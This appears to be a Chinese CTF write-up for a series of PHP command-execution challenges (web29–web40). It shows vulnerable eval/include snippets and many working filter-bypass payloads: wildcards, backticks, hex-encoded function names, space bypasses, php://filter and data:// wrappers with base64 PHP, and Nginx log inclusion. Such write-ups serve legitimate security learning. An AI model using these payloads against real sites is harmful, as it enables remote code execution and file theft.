web 29

    <?php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag/i", $c)){
            eval($c);
        }
        
    }else{
        highlight_file(__FILE__);
    }

我这里只想到五种简便的方法：

    通配符
    payload1:c=system("nl fla?????");
    payload2:c=system("nl fla*");
    payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
    payload4:c=echo `nl flag.php`;//转义字符绕过
    payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
    payload6:c=eval($_GET[1]);&1=system('nl flag.php');
    还有很多姿势，毕竟等于没过滤

web 30

在上一道题的基础上多了system和php

       <?php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag|system|php/i", $c)){
            eval($c);
        }
        
    }else{
        highlight_file(__FILE__);
    }

但是我们可以用其他函数鸭

    system()
    passthru()
    exec()
    shell_exec()
    popen()
    proc_open()
    pcntl_exec()
    反引号 同shell_exec() 

payload:

    c=echo exec('nl fla?????');
    c=echo `nl fla''g.p''hp`;
    c=echo `nl fla?????`;
    还有上一道题的很多payload都可以使用

web 31

过滤了catsort等,空格也被过滤了尝试了一堆方法无果，尝试搞骚得

    <?php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
            eval($c);
        }
        
    }else{
        highlight_file(__FILE__);
    }

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示，可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中，查找后缀有 file 字样的文件中包含 test 字符串的文件，并打印出该字符串的行。此时，可以使用如下命令： grep test *file strings

payload:

    c=eval($_GET[1]);&1=system('nl flag.php');
    c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
    c=show_source(next(array_reverse(scandir(pos(localeconv())))));
    c=echo(`nl%09fl[abc]*`);
    c="x73x79x73x74x65x6d"("nl%09fl[a]*");等价于system()
    c=echo`strings%09f*`;
    c=echo`strings$IFS$9f*`必须加转义字符

还有其他姿势：
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

web32

小知识：include不用括号，分号可以用?>代替。
payload:

    c=include$_GET[1]?>&1=php://filter/read=convert.base64-
    encode/resource=flag.php
    c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
    c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33-36

payload:

    c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
    c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web37

payload

    c=data://text/palin,<?php system("nl fla*");?>
    还可以配合UA头执行日志包含
    c=/var/log/nginx/access.log

web38

在上一道题的基础上过滤了php，和file
所以

    c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
    也可以日志包含
    c=/var/log/nginx/access.log

web40

    <?php
    //flag in flag.php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag/i", $c)){
            include($c.".php");
        }
            
    }else{
        highlight_file(__FILE__);
    }

payload

    ?c=data://text/plain,<?php system(“cat f*”);?>

参考文章

CTF之命令执行绕过总结
CTF命令执行
nginx(一）之默认配置文件